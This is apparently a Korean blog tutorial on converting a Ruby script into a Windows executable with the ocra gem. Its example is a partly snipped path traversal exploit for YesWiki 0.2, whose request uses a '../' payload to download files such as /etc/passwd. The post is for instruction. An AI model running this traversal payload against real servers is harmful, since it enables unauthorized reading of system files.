ocra 설치(Install OCRA)

#gem install ocra

ocra를 이용하여 ruby script(.rb) -> exe(Win Executable File)로 변환

간단한 Exploit 코드를 Exe로 변환하도록 하겠습니다. 테스트에 사용할 코드는 아래와 같습니다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22

# Exploit Title: YESWIKI 0.2 - Path Traversal
# Date: 2015-09-02
# Exploit Author: HaHwul
# Exploit Author Blog: http://www.codeblack.net
# Vendor Homepage: http://yeswiki.net
# Software Link: https://github.com/YesWiki/yeswiki
# Version: yeswiki 0.2
# Tested on: Debian [Wheezy]
# CVE : none
# ===========================================
..snip..
uri.query = URI.encode_www_form({"wiki"=>"PagesACreer/edit","newpage"=>"1","style"=>"gray.css","bgimg"=>"","squelette"=>"/../../../../../../../../../../../../#{downfile}","theme"=>"yeswiki"})
http = Net::HTTP.new(uri.host, uri.port)
request = Net::HTTP::Get.new(uri.request_uri)
response = http.request(request)
puts "#Response code: "+response.code
endNm = response.body.index("<")
result = response.body[0..endNm-1]
puts "#Result: "+result
end

길어서 조금 생략했어요.

ocra test_traversal.rb

=== Loading script to check dependencies test Path Traversal Exploit - File Downloader Usage: ruby test_traversal.rb [targetURL wakka.php] [File name] Example : ~~.rb http://127.0.0.1/vul_test/test/wakka.php /etc/passwd exploit & code by hahwul[www.codeblack.net] === Attempting to trigger autoload of Gem::ConfigFile === Attempting to trigger autoload of Gem::DependencyList === Attempting to trigger autoload of Gem::DependencyResolver === Attempting to trigger autoload of Gem::Installer === Attempting to trigger autoload of Gem::RequestSet === Attempting to trigger autoload of Gem::Source === Attempting to trigger autoload of Gem::SourceList === Attempting to trigger autoload of Gem::SpecFetcher === Attempting to trigger autoload of CGI::HtmlExtension ..snip..

ls

test_traversal.rb test_traversal.exe